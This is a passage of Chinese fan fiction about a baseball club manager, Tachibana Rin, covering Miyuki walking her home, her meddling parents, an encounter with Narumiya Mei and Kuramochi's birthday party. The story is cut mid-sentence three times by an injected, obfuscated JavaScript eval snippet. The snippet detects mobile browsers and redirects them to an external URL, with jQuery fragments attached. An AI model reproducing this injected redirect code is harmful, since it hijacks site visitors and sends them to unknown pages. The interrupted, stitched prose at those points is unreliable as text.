橘铃悄悄放慢了脚步,落后御幸一丢丢,这样她可以肆无忌惮地打量御幸的背影。 虽然嘴上说着不用,可是当御幸在学长们的起哄下答应的时候,她感到的是开心。 今天真是个好日子啊。 “你最近是不是状态不太好?”御幸说。 “我?”橘铃不解,“我刚刚教的很差吗?不是吧,我觉得我讲的挺好的,有哪里没听懂吗?” “不是这个。”御幸侧过头,看着稍微落后他一点的橘铃,“你在球场总感觉魂不守舍的,怎么了吗?” 橘铃犹豫着往前走了一步,两人肩并肩。 橘铃没说错,她家确实离青道很近,走出校门,她已经能够看到家里的灯光了。 她抬头,御幸专心地往前看着,好似完全没感受到她的目光。 他们两关系有更近一步了吗? 四周沉寂,只有草丛里的虫鸣不时响着,两人的脚步声重叠在一起,月亮清亮地照亮前路。 好像在约会。 这个想法一掠过心头,橘铃的脸上不由自主露出了一个笑容。 迟迟没得到回复的御幸又低头看了一眼橘铃:“你在笑什么?” “我有在笑吗?”橘铃收敛了脸上的笑容,“我只是觉得,原来你也有在关心我啊。” “……”御幸说,“那当我没问过。” 如果他们关系有更近一步,告诉他也没关系吧? “克里斯学长,我看见他很悲伤的表情。” 橘铃说。 她一说话,御幸的脸就转了过来,认真地看着她。 这让她有点压抑不住稍微加快的心跳。 “和他平时的表情不同,十分悲伤痛苦的表情,好像有什么事发生。” “我有问他怎么了,但是克里斯学长并不愿意告诉我。我就想观察一下他有没有什么异常,可惜我什么都没看出来。” “悲伤痛苦的表情……”御幸喃喃道。 “我也问了小礼,小礼也没察觉什么异常。” 橘铃低下头:“我是不是太冒昧了?” “不,是我也会很在意。”御幸说,“谢谢你愿意告诉我。” “这是秘密哦。”橘铃伸出手指,在嘴上轻轻比了一下。 “嗯,我知道。”御幸笑了一下,偏开了眼神。 独属于两人的秘密。 “你看,那里就是我家了,很近对吧?” 没说什么话,两人已经走到家门口了。 “希望没耽搁你的时间。”橘铃站在门口,“现在已经十点过了,你回去安全吗,要不要我送你啊?” 说些什么话啊。御幸笑了笑,挥了挥手:“我应该挺安全的,不用担心,我走了。” 就这样结束了。 “拜拜。”橘铃心里有些不舍,却挥手道。 话音刚落,背后的门一下被打开,橘铃瞪大眼睛,爸爸和妈妈同时探出头来。 诶——? 橘铃回头,爸爸妈妈的表情抑制不住的兴奋。 “哎呀,辛苦你送我们小铃回家了。” 爸爸热情地从橘铃身后绕到面前,握住已经呆滞在原地御幸的手:“就这么回去多不好意思,进去坐坐?” “不……”御幸似乎没想到这一出,难得慌乱,“辛苦您的好意了,宿舍还有门禁。” “你们在干嘛……”不等橘铃说完话,妈妈眼疾手快地把她拉进了家里,而另一边爸爸热情地揽住御幸:“要不了多久的,几分钟,不请你坐坐我们真的过意不去。” 完全不容许拒绝,御幸就这样被请进了橘家。 怎么会变成这样? 看着穿着拖鞋踏进自己家的御幸,橘铃已经快宕机了。 御幸的状态也不算太好,他的反应呆滞,动作明显都拘谨了许多。 而她的父母,热情地围在御幸身边,嘴巴就没停下来过。 啊对了,莫名其妙把人家请进来,家里怎么样?橘铃忽然想到这点,她慌乱地四处看看,发现家里不太乱,才稍微放心了点。 “来来来,这是我们家铃自己做的冷泡茶,尝一下。”爸爸把御幸领到了餐桌坐下,妈妈从冰箱里端出了冷泡茶,用眼神暗示着橘铃快上。 “……”橘铃无奈,只得拿出杯子给御幸倒上,“这个不太甜,你应该会喜欢喝。” 喔。御幸看着晶莹剔透的茶水,抬头看了看笑眯眯盯着他的橘家父母。 他们这诡异的表情让他浑身不自在。 橘铃拉着凳子在他对面坐下,嘴里抱怨着:“真是的,你们在干嘛啊?” 爸爸说:“人家送你回来,我们当然要好好感谢人家。” 说着,他对御幸说道:“你是御幸吧?在棒球部真是麻烦你多多照顾我们小铃了。这孩子以前对体育运动一窍不通,现在对棒球感了兴趣,我们还真是意外。” “棒球是个好运动,我们听说过青道棒球的名气,希望你们早日打入甲子园。” 御幸端起杯子,语气谨慎:“没有,橘帮了我们很多,她真的很厉害,记分册清晰有条理,平时也会帮助我们补习,我们很感激橘同学。” 话毕,他轻轻抿了一口,味道微甘,又带着茶的香和涩味,是他能够接受的程度,确实属于好喝的范畴内。 “小铃会帮你们补习啊。”妈妈来了兴趣,“她以前可总是说,帮人补习最烦了,很多人都讲不明白还要浪费时间。” “妈妈!” 橘铃狠狠地瞪了妈妈一眼,“你瞎说什么呢。” 原来橘在家里是这个样子吗。 这种相处模式,令御幸感到新奇。 杯子漂浮的冰块裂开,御幸接话道:“真的吗,可能因为我们比较聪明,没听到过橘说过这样的话。” “哈哈哈!”爸爸捧场地笑了。 所以,到底有什么好笑的啊! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088397|195410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >橘铃叹了口气,歉意地看向御幸。 御幸露出一个安抚的微笑。 他应该不会因为这样讨厌她吧? “能送我们铃回家,你们关系还不错吧?”又出来了,爸爸那八卦的嘴脸。 但是这个问题,橘铃也想知道答案。 御幸会说什么呢? “是的,还可以,我们是朋友。”没有丝毫缓冲,御幸给出了答案。 意料之中的答案,果然他们是朋友。 橘铃搅着妈妈端给她的饮料,心里微微失落。 观察着女儿表情的爸爸和妈妈交换了一个眼神,又开口道:“啊对了,你们跟仓持同班对吧,又都是棒球部部员。” 本来还在失落的橘铃心中涌起不好的预感,她开始疯狂对爸爸比叉,而斜对面的爸爸完全不看她。 “过一阵子就是仓持的生日,我们准备要给他过生日,御幸要不要一起来?”爸爸说道。 橘铃已经完全没办法控制自己的表情,她的脸已经被黑云笼罩。 她怨念地看向对面的御幸,却看见御幸轻轻地笑了一下。 他在笑什么? 御幸神态自若地开口道:“最近要进行甲子园预赛了,练习很多,如果空闲的话我一定会来的。” “这样啊。”爸爸的语气中带着遗憾,“你来的话,我想他们都会高兴的。” “好了,都十点半了,御幸该回去了。”像是忍到极致,橘铃猛地站起身来。 爸爸妈妈对视一眼,妈妈跟着站起身来:“哎呀,说的也是,抱歉御幸,占用你的时间了。” “没有的事,谢谢叔叔阿姨,那我先走了,多谢招待。” 又如同刚刚,两人再次站在了门口。 只是这次,橘铃的表情完全不同。 “真的很不好意思,御幸,我爸妈就是那样,总是乱说话,希望你别介意。”橘铃好像不敢看他,目光一直在地上瞟来瞟去。 “没关系,这没什么。”御幸说,“那我走了,晚安,明天见。” 和以前没什么不同的语气,橘铃这才敢正眼看他:“晚安,明天见,注意安全。” 这个态度,应该是没有讨厌她的吧? 待到御幸离开,她才回到屋内,罪魁祸首们坐在原处,喜上眉梢地窃窃私语着。 橘铃深吸一口气,狠狠地关上了家门。 父母两人动作一顿,讨好般地看向橘铃。 “橘健太,橘美纱子!你们到底在做什么啊!!” “这不是挺好的吗?”妈妈笑嘻嘻地说,“这个孩子看起来比照片里更可爱一点点,而且挺高的,很有礼貌,不错嘛,铃!” 不错个屁啊! 橘铃脸涨红,吼道:“下次别这样了,你们真是烦死了。” 她生气地回到房间,狠狠地关上了门。 手机铃声适时地响起,她打开手机,是仓持的一条简讯。 “回家了吗?” “糟糕。”橘铃喃喃道,“又忘记问御幸要line了。” “铃,别生气了。”妈妈在门外敲着门。 橘铃不准备理睬他们,她靠着门坐下,一字一句敲着:“我到啦~(?′▽`)??谢谢小洋,话说,你有御幸的line没有啊?” “叮——” 听到声音的仓持拿起手机,他打开line的手微微一顿。 为什么要御幸的line? 他在聊天栏里敲着字又删掉,游戏屏幕里的人被对面殴打的发出阵阵惨叫。 为什么找他要御幸的line? 他熄掉屏幕,把手机扔在角落。 他捡起手柄,发泄般地按着按钮,然而屏幕里的人仍旧节节败退。 【GAME OVER】 死了。 他放下手柄,还是拿起了手机。 “他不用line,有邮箱,要我发给你吗?” 12. 流动 “小铃,记得你今天的任务。” 早上出门,妈妈像没事人一样站在门口抛出一句话。 原本准备把父母当空气的橘铃这才后知后觉地想起,马上就是小洋的生日了。 所谓的任务,当然是负责蛋糕和礼物的挑选。 “我知道了。”淡淡地留下一句话,橘铃关上了门。 “哎呀,还在生气呢。”妈妈摇了摇头,冲坐在餐桌上的爸爸说道,“下次我们还是要注意,至少不要做的太明显。” 爸爸深以为然地点了点头。 “由衣。”橘铃问道,“你知道这附近有哪家蛋糕好吃吗?” 玩着手机的高桥由衣抬起头:“这附近?我不清楚诶,但是我知道有家特别好吃的,我发给你。” “你家不是在这儿附近,你都不知道有什么店好吃吗?” 橘铃含糊道:“我之前初中离家里比较远,几乎都要住校了。是这家店吗?好的,我放学就去看看。” 但是—— “你确定那个很出名的蛋糕店在这个位置吗?”橘铃站在店门口,用手捂着嘴巴悄悄说道,“这里看起来就是这个学校的私人门店啊!” 恐怖,橘铃完全不敢进去。 里面挤满了穿着稻城实业制服的学生,她这个穿着外校服的人简直是个异类。 高桥由衣在电话里喋喋不休地说着,橘铃又透过玻璃往门内看去。 “你要进去吗?”少年音在背后响起,橘铃回头,一个穿着稻实校服的金发男孩被她挡住了去路。 “抱歉,我要进去。”橘铃挂断电话,露出歉意的微笑,先男孩一步进入了门店。 蛋糕香甜的味道在店里漂浮着,橘铃努力吸了吸鼻子,承认高桥由衣说的没错,这家店的蛋糕闻起来就很好吃。 “你是青道的吧?”跟在橘铃身后的男孩忽然说道。 他竟然认识青道校服?橘铃看了看自己,确认自己身上没有标明她身份的东西,礼貌地冲男孩点了点头。 店员很快就看见了她,热情地走到她身边,询问需要什么。 这么多学生,偏偏找到了她,果然她在一群稻实的学生中格格不入。 “请问你们这里可以订做生日蛋糕吗?”橘铃扫过一排排面包蛋糕。 “可以的,您这边有款式需求吗?” 橘铃想了想,比划了一下:“可以做成棒球的样子吗?做一个这么大的棒球蛋糕。” 店员微笑的表情不变:“我们不接受太复杂的样式定做哦。” 不是你问的吗! 橘铃想了想,说:“那在蛋糕上面做一些棒球可以吗?” 这个提议店员很愉快地接受了,确认了时间和样式的细节之后,收取了定金的店员满意地离开了橘铃身边。 这样任务就算完成了。 接下来,橘铃的目光开始寻找着高桥由衣千叮万嘱付的必吃榜。 据她说法是吃了一口就会忘却掉其他所有的甜品店。 这个不在高桥榜上的看起来还不错,要不要买一个呢…… 看的太入迷的橘铃起身撞到了旁边的人。 “不好意思……” 话还没说完,被撞到的人率先开口:“喂,你是青道棒球部的吗?” 是门口遇到的那个金发稻实学生,他手上提着买好的蛋糕,似乎是正准备离开。 搭讪? 橘铃脸上露出完美的笑容,嗯,这个男生长得还不错,看脸很小,有点像初中生,身高倒不算矮:“是的,你有什么事吗?” “棒球部经理?”少年一下来了兴趣,“那你认识一个一年级的吗,叫御幸一也。” 御幸? 这个人认识御幸? 橘铃稍微收敛了一下笑容,她说:“我认识,有什么事吗?” 这句话仿佛打开了少年的开关,他凑近橘铃,兴奋地说道:“那家伙怎么样?当上正捕了吗?我可是一开始就进入一军了哦,别看我们教练那个样子,他对我抱有很大期望!” 这家伙怎么回事? 虽然很想问出那句你是哪位,但橘铃还是礼貌地回道:“你是他的朋友吗?这些事情我不太方便说,不好意思。” “诶——”少年露出失望的表情,“一也那家伙没有提过我吗?我们以前关系那么好,虽然他拒绝了我,我还是把他当好朋友啊。” 一也……亲密的叫法不禁让橘铃又看了他一眼。 少年补充道:“哦对了,我叫成宫鸣,我可是稻实的王牌。” 没听说过。 稻实的王牌,他已经三年级了吗,看脸完全看不出来。 橘铃的笑容保持的太久,足以让成宫鸣知道她是什么意思,成宫鸣没再为难她,挥了挥手:“你这么沉默,他肯定没有当上正捕吧,一定要把我刚刚说的话传达给他哦,再不努力就没办法追上我了。” 说着,少年留下帅气的背影离开了。 捕手要怎么样才能追上投手,橘铃想不通。 不过这个男人的朋友和他一样都是这种肆意妄为的类型,真让人羡慕。 “你还要吗?”排在橘铃背后的女生问道。 这才反应过来的橘铃发现自己的身后已经排起了长队。 ……真是不好意思,迅速点完单的橘铃提着蛋糕走出了店铺。 真是累人,她长呼一口气,她太不喜欢排队了。 等等,橘铃掏出手机,屏幕上的时间令她心里一慌。 还要去棒球部。 橘铃认命般地关上手机,往车站跑去。 练习加紧后,需要经理们的地方也多了起来。 更何况她这个有天赋的一年级经理。 在听到别人说她有天赋的时候,橘铃还是没忍住露出了吃惊的表情。 从小对体育运动一窍不通的她,如今能听到学长称赞自己,这简直从未想象过。 有了夸奖自然会想做到更好,而且橘铃本来就是不服输的性格。 但是今天可是周五。 自从加入了棒球部后,怎么感觉自己的生活除了学习就是棒球了呢。 橘铃推开门,那原本唉声叹气的三年级经理们眼前一亮。 “太好了,铃,你终于回来了。” 经理们在食堂桌上围成一圈,桌上放着成堆的资料。 来不及询问这是什么,橘铃已经被离着最近的学姐拉着坐下,紧接着,她面前就被放下了一堆资料。 她翻了翻,这是更为详细的青道投手和打者的记录。 “辛苦了铃。”学姐说,“平时是你在记分,你会比我们更清楚,这部分就你来做吧。” 另外一个学姐点头道:“是啊,铃真是帮了大忙了,有你来记分再靠谱不过了。” 贵子学姐插嘴道:“学姐们以前不也经常做记分工作吗,现在都给铃做了,太狡猾了。” “没办法嘛。”学姐露出不好意思的笑容,“记分真的是辛苦啊,有时候还会记错,会被部长骂,但是铃就很可靠啊!” “铃,打扰你补习的时间啦。” 这就是加班。 唉。 心里这么想着,橘铃面上不动声色,她摇头道:“没事的学姐,周五本来就是补习休息的一天,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088398|195410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些也是我该做的。” 只是现在,她抬眼看了一眼墙上的时钟,八点半。 “好了,我做完了。” “我也做完了!” “明天又有新的练习赛了,大家要把资料收好哦。” “铃,需要帮忙吗?”贵子学姐坐到橘铃身边,轻声问道。 橘铃看了一眼面前的资料,还尚在可控的范围内:“没多少了,很快就好了,谢谢贵子学姐。” 见橘铃这么说,藤原贵子便不再坚持,其他经理们都陆陆续续完成了工作,而橘铃面前还有一点。 “学姐们,幸子,唯,你们先走吧。”见她们有等她的意思,橘铃还是开口说道,“我家就在这附近,这一点做不了多久的。” 经理们对视了一眼:“那好的,铃,我们就先走了哦,不要太晚了。” “放心吧。”橘铃眨了眨眼睛,冲经理们飞吻道,“保证不太晚回家。” 等到经理们关上门,食堂里剩下了她一个人。 她晃动着手中的笔,叹了一口气。 这就是加班,不想做又不得不做,应该不会11点才结束吧? 托这些资料的福,橘铃对队上的情况了如指掌,哪个投手状态好,哪个打者状态不好,她知道的一清二楚。 甚至有时候小礼和教练都会想听听她的意见,明明才一年级。 门外人影开始晃动,他们该训练完了吧?真好啊,她也想下班。 橘铃写字的动作快了起来。 食堂的门被一把拉开。 又是谁? 橘铃抬起头,又低下头。 是御幸。 “你还不走吗?”照常的对话。 橘铃没回答,她在做什么显而易见。 御幸踩着拖鞋走到她面前,东看西看:“真是辛苦,这些都是你一个人做吗?” “我一个人做最快,记分册有些东西只有我比较清楚。”她答道。 “嗯——”御幸发出意味不明的声音,“其实不是吧,就算有些东西你比较清楚,学姐们还是做过这些的。” “不要总觉得自己很重要。” 橘铃停下了笔。 “御幸。”她露出无懈可击的微笑,“你是来挖苦我的吗?如果是这样,大门在那边,你可以出去。” 御幸挠挠头发:“我在关心你。” “是吗,完全听不出来。”橘铃指了指嘴巴,“不会说话就闭上嘴。” 好的,御幸稳稳地闭上了嘴,但他完全没觉得自己说的哪里不对。 沉默在两人之间流淌,御幸看了看时间,准备先回去收拾一下。 “御幸。”橘铃忽然说道。 “嗯?”他答道。 “成宫鸣是谁啊?”橘铃很自然地问道。 “…………?”御幸无论如何也想不出来从橘铃的嘴巴里会听到这个名字,“朋友?” “喔。”橘铃点了点头。 不对,她怎么知道鸣的啊? 像是知道他的想法,橘铃头也不抬地说道:“秘密。” 好吧。 御幸无奈地耸耸肩,准备离开。 “你今天不送我回家吗?”又是一句疑问。 但这句话令御幸稍稍放慢了脚步,他原本想答应,话到嘴边却变成了:“让仓持送比较好吧,他想送你很久了。” 这样的回答。 “也是,马上就是他的生日了,那麻烦你出去的时候帮我跟他说下哦。” 为什么要他说啊。 御幸低下头:“好。” 仓持那家伙,会在哪里呢? 13. 压抑 仓持躺在床上,习惯性地打开手机的日历界面。 离生日还有几天。 他闭上眼睛,关闭屏幕。 难以抑制的心跳,他长呼一口气,坐起身来。 自从铃说要给自己过生日,短短十几天过得像一个世纪那么漫长。 太在意了,可是没办法不在意。 上课时,休息时,只要脑子稍有空闲,他的心思就会飘到生日上。 那天会发生什么呢? 踏入铃在东京的家,和铃的爸爸妈妈像以前一样说话。 光是想想这些,都足以令他心悸不已,唯独只有在训练的时候,他能够忘记这件事。 “真丢脸。”他捂住脸,低声道。 “仓持。”增子学长伸了个脸过来。 增子学长应该没听到吧?仓持放下手:“怎么了学长? ” 增子学长盯着他,说:“你还好吗?” 这么明显吗? 仓持苦笑了一下:“没关系,过几天就好了。” 连增子学长都发现了。 那她什么时候能发现呢?还是说,已经发现了? 今晚被御幸叫去送铃回家,让他错愕了好一阵,但是在路上,两人说笑的时候令他走神。 而铃也说。 “真怀念。”他清晰地记得少女说的每一句话。 “好像又回到了小时候。” “是吗?”他听到自己说,“我觉得现在也挺好的,现在的我们都长大了。” 在说些什么啊。 果然,铃看向他,不解地问道:“长大了会比以前更好吗?” 长大了当然会比以前更好,长大了得到的东西会更多,不管是什么。 送铃到家的时候,仓持看到了铃的父母,他们也和以前一样,没什么变化。 他们说:“小洋,我们已经准备好了哦,生日那天要给你一个大惊喜。” 什么惊喜? 他的目光停留在已经迈上台阶的少女身上,嘴巴上说着:“谢谢叔叔阿姨,劳烦你们费心了。” 他想要改变。 不管现在是什么样。 一只手拿着东西伸过来,仓持一愣,这是增子学长最爱的布丁。 他抬起头,增子学长说:“我想吃了布丁心情应该会好些吧。” 仓持无奈地笑了:“谢谢增子学长,布丁还是留着吧,你不是最爱吃布丁了吗?” 和铃一样,她也最爱吃甜的,这次的生日蛋糕不知道有多甜。 “好了,该关灯了,明天还有练习赛。” 仓持带着乱糟糟的思绪,再次躺在了床上,奇异的是,竟然一夜无梦。 ** “会不会太幼稚了?”爸爸看着满地的气球,擦了擦脑门的汗,“我怎么感觉我们还是按小朋友的标准来给他们过生日。” “他们本来就是小朋友啊,可惜铃搬到东京以后再也不想我们给她过生日了,难得有这样的机会,要好好珍惜。”妈妈认真地剪着手中的花,“好久没做手工了,没想到我的技艺还是这么精湛。” 爸爸纳闷道:“珍惜?高中三年不是都可以吗?” “你这人怎么不懂呢?”妈妈懒得跟他多说,适时开门的声音响起,两人赶紧闭嘴。 “我回来了。” 一进家门,橘铃就被满地的气球和一桌的手工花镇住了,她犹豫了半天才开口道: “谁家小孩要来玩吗?” 果然,妈妈压不住抖动的肩膀,笑出了声:“哎呀,不是马上就是小洋的生日了吗!我们这不是在准备。” 准备小朋友的生日派对吗。 顶着父母“我们很棒,快夸我们的眼神”,橘铃捡起地上的一个气球,往空中抛去:“他现在是高一生,不是小学一年级。” “有什么嘛,我们小时候都是这样给你们过生日的,要不要再准备两三个礼花炮?”妈妈说,“到时候小洋进家门的时候我们就给他来一发。” 你们只是觉得好玩吧。 看着父母那兴致勃勃的样子,她还是咽下了这句话。 她走到餐桌边,拿起妈妈剪好的硬纸花。 好怀念,小时候她最喜欢在生日的时候拿着妈妈的硬纸花夹在脑袋上,说自己是公主大人。 而小洋就会在旁边叫着说要当保护她的骑士。 “对了,小铃,你给小洋买礼物了吗?” “买了。” “是什么东西呢?” 打着气球的爸爸停下了动作,他们两人看着她,期待着她说出一个满意的回答。 橘铃想了想,还是不打算说:“生日礼物要在当天揭秘才有惊喜。” 爸爸没劲地低下头,又开始打起了气球:“好吧,我跟你妈妈买的是个游戏机,不要和我们撞了哦。” “什么嘛,怎么我的生日不给我买生日礼物?差别待遇哦?”橘铃嚷嚷着。 “那不是你说不要我们给你过生日吗,礼物也不想要,每次都跟朋友出去过。啊对了,初中的那个跟你关系很好的清水绫,好像没听说你们还在一起玩了。” 熟悉的名字,熟悉到想忘记的名字。 像是一颗石子投进湖面,起初只是微弱的涟漪,可是湖面的波纹越来越大。 “还在玩,只是我们都很忙,我每天忙棒球部的事都忙不过来。”橘铃若无其事地说道。 “对了,我们什么时候回一趟千叶吧?最近一看到小洋就会想起小时候的事情。” “好好。”妈妈答应着,“暑假就可以回去看看。” “打进甲子园我就没空了哦!我可是很忙的!” 回到房间,橘铃打开柜子,她准备好的礼物被她偷偷藏在了这里。 她知道凭家里那两位八卦的德行,不藏起来早就被他们拿去打包放好了。 也不知道小洋会不会喜欢呢? 这个念头刚冒出来,橘铃就释然地笑了笑,干嘛想这种问题,如果是小洋,不管送他什么礼物他都会很开心。 和御幸不一样。 “……” 御幸的名字在脑海一闪而过,她准备关上衣柜的动作停住了。 为什么会这么想?她为什么会想到御幸……又为什么这么笃定小洋会喜欢? 因为小洋就是会喜欢她送的所有东西啊,从小就是。 “铃!吃饭了!” “好!”她匆忙关上衣柜,往外跑去。 算了,这没什么好想的,本来一直都是如此。 “今天就是小洋的生日了!”出门前,爸爸开始激情发言,“橘铃,今天伟大的任务安排给你,你要安全地把仓持洋一带回家,收到请回复!” 橘铃咽下最后一口牛奶,无视了爸爸的激情演说,提起书包:“我走了。” “好~”妈妈笑眯眯地挥了挥手中的礼炮,“要一起回来哦~” 搞得像什么秘密演出……橘铃临走看看了一眼被装扮的花里胡哨的家,皱紧眉头。 “早上好~橘同学~” “早上好。” “早呀,橘。” “早上好。” 挨个和遇到的同学打完招呼,橘铃来到教室就发现仓持正趴在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088399|195410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桌上进行着每早惯例的补眠,而另一个男人,御幸一也,他在发呆。 “早啊,由衣。”她和自己的好朋友打完招呼,走到了仓持身边。 睡得真香啊。 几乎整张脸都埋进了桌里,如果教室安静点可能还能听见他均匀的呼吸声。 要不等会儿吧?橘铃思考着,但是一会儿等他清醒了就上课了。 家住的很近的她可是从来都是卡点来到教室。 最终她还是推了推仓持。 仓持像被惊醒般猛地抬头,和罪魁祸首对上了视线。 “吓我一跳。”他喃喃道,“我还以为老师来了。” 这个时候,橘铃才发现他眼下浓重的青黑和萎靡不振的表情:“你干什么去了,昨晚没睡觉吗?” “打游戏打过头了……”仓持揉了揉自己的脸,努力让自己看起来清醒点。 “你还能打游戏打过头,看来平时训练不够啊,还有努力的空间?”橘铃说,“但是学姐说你们的训练几乎都排满了,这样还能打游戏,你们真是什么恐怖的精力。” “那不是白天几乎都快夏眠了。”仓持喃喃道。 橘铃左看右看,确认没有人关注着她的行为后,轻轻俯下身,低声说道:“小洋,生日快乐!” “本来想着要不要先发line给你,还是想着当面说会比较有诚意。” 她以为会收获仓持的感谢,没想到面前的少年睁大了眼睛,好像她说了什么恐怖的话。 “这是什么反应?”橘铃不满地问道,“我说的是生日快乐吧?” 然后仓持的脸红了起来。 这有什么好害羞的! “哇,你大早上说这个。”仓持用手捂住脸,“今晚不是要去你家吗,我以为晚上才会说。” 这是开心还是不开心,橘铃分辨不出来,照常来说,收到关系好的人生日祝福是会开心的。 “所以,你开心吗?”橘铃扯下仓持的手,仓持无措地挪开视线,不敢看她。 听到这个问话,他指了指自己的脸,自暴自弃地说道:“我这样还看不出来开不开心吗?” “害羞不代表开心啊。”橘铃说,“为什么会害羞呢,我们从小不就是这样的吗?” 是的,从小谁过生日,另外一个人就会在那个人的家门口守好,等着他/她出来,就为了大声地说出那句生日快乐。 “现在不一样。”仓持无力吐槽。 “还好吧,我走咯。”快要上课了,橘铃往自己座位走去。 走到一半她回头,见仓持还看着她,她无声地再次说了句生日快乐。 仓持转过了脸。 还是没看出来,他到底开不开心。 “好了同学们,我们开始上课了。” 老师站在讲台,御幸收回了目光。 今天是仓持的生日。 他还是不去了。 下午的训练很快结束,夕阳映照着天空泛红,两人再次走在了回家的路上。 “今天很凉快呢~”凉风吹过脸上,橘铃闭上眼睛感受着这片刻的凉意,她往前一跨步,走在了仓持面前。 “祝你生日快乐~祝你生日快乐~祝你生日快乐~”从走出球场的那一刻,她嘴里就一直哼着生日歌。 还在唱…… 换好便服的仓持稍稍落后她一步,无奈地看着橘铃在前面一蹦一跳。 “你这么开心干嘛?”他忍不住问道。 “什么问题?”橘铃转过身,“你过生日不能开心吗?” 当然可以,只是这雀跃的样子倒像是她的生日了。 14. 融入 房子里明亮的灯光昭示着屋内有人,那灯光温暖明亮,有着家的温馨。 橘铃走上台阶,她似乎察觉到仓持迟迟没跟上来,待站上最后一个台阶,她便停下了脚步。 她无声地看着仓持,一只手放在门上。 那金色的眼睛望着他,像是在问你在等什么? 等什么? 仓持轻轻呼出一口气,跟了上去。 里面可能是另外一个世界,另外一个他期待着的世界。 橘铃狡黠地冲他眨了眨眼,仓持还没摸透她这表情的意义,她已经敲响了门。 “生日快乐——!!” 门开的一瞬间,仓持便看见橘铃立马捂住了耳朵,他没反应过来怎么回事,铺天盖地的彩花伴随两声巨响迎面而来。 浇了他满头。 他缓慢地眨了眨眼睛,而迅速躲过这一切的橘铃看见他的样子不顾形象地捧腹大笑。 细碎的闪片顺着他的脸颊滑落下去,他这才反应过来,刚刚有人拉动了礼炮。 “小洋,生日快乐~” 橘铃眼睁睁地看着爸爸妈妈把满头彩片的仓持拉进家门,接着殷勤地给他带上生日帽。 这个傻傻的样子的,和小时候一模一样。 她掏出手机,拍了两张传给了仓持。 简直是值得留念。 今日的主人公被拉到了餐桌坐下,他的身后是由纸花和气球组成的彩墙,上面歪歪扭扭的字母组成了happy birthday。 他坐在中间,头上是生日帽,脸上还带着细闪的亮片,看起来更像是什么喜剧人物。 仓持茫然,恍惚地应对着两张欣喜的脸,吐出了来到这个家的第一句话:“叔叔阿姨好。” “哎呀,这孩子总是这么客气,就跟小时候一样。”妈妈满意地点了点头,“上次我就想说了,小洋和以前完全不一样哦!身体看起来强壮了好多。” “……因为棒球部每天都在训练。” 爸爸紧跟着点头:“气质也沉稳了很多,不像我们走的时候那样子了,那个时候你染的金发啊,看看现在这发色多好看。” “…………您说的是。” 橘铃站在旁边憋笑的浑身发抖,有了仓持在,她爸妈终于转移了目标,她不是那个被当成玩具玩得团团转的唯一角色了。 小洋现在那不知作何的表情,应该和平时她在家里的时候一模一样。 看戏看够了,橘铃适时地插嘴:“好了,你们别搞人家了,我们先吃饭,小洋训练完还没吃饭啊!” 闻言的父母立刻作鸟兽散,挨个钻进了厨房。 仓持僵硬地转向她,露出了一个欲哭无泪的表情。 橘铃从一旁拿出湿巾纸,示意仓持擦擦脸:“对了,你训练完洗澡了吗,要不要先去洗澡?” “洗了。”仓持还记得之前橘铃在食堂说过的话,她说她不喜欢汗味,于是在今天训练结束后,他特意先去洗了个澡。 他接过湿巾纸,随意一擦,纸上立刻带下一堆彩片。 他就带着这个东西在这里和橘的父母说话,现在发生的事情跟他预想的完全脱离了轨道。 但是他还挺高兴的,这种熟悉的感觉,她的爸爸妈妈也和以前一模一样。 “我有努力阻止过他们,但是他们说你就是小朋友。”橘铃坐在他身边,指了指他身后的气球墙,“说如果是小时候的你一定会喜欢的。” 他这才有闲心端详身后的那一面气球和纸花,字母下还有一个歪歪扭扭的卡通人带着帽子,仓持猜这是他。 他是挺喜欢的,如果这样直接说出来,铃会觉得他幼稚吗。 面前的少女忽然俯下了身,一股淡淡的香味迎面扑来,她指了指他脸边:“你这里没擦到。” “这里么?”这是什么味道,沐浴露还是洗衣液,还是她身上的味道?仓持胡乱拿着纸在脸上擦着:“好了吗?” 橘铃叹了一口气。 她回头四处搜寻着,像是找什么东西未果,她又转过身来,拿走了他手里的纸,一只手覆在了他的脸上,纸巾带着手指的触感在他的脸上一滑而过,冰凉的感觉之后,是从皮肤内升腾的灼热。 就像他现在充血发烫的耳朵一样。 太近了。 “这里。”橘铃看了看,确认他脸上没有东西后,接着说道,“好吧,我爸妈说的没错,你就是个小孩子。” 仓持不赞同:“什么啊,我比你大!今天是我的生日。” “我才不会擦脸都擦不干净呢。” “哈?看不见不是很正常嘛,就像你也不知道你脸上有什么东西。” 橘铃条件反射地摸了摸脸:“我脸上有东西?” “啊哈哈。”仓持笑了,“你这也像小孩子啊。” 被诈了。 两人对视一眼,同时笑了起来。 这种熟悉又自在的感觉,如果这种时候能更多,更多一点就好了。 仓持无声地祈祷。 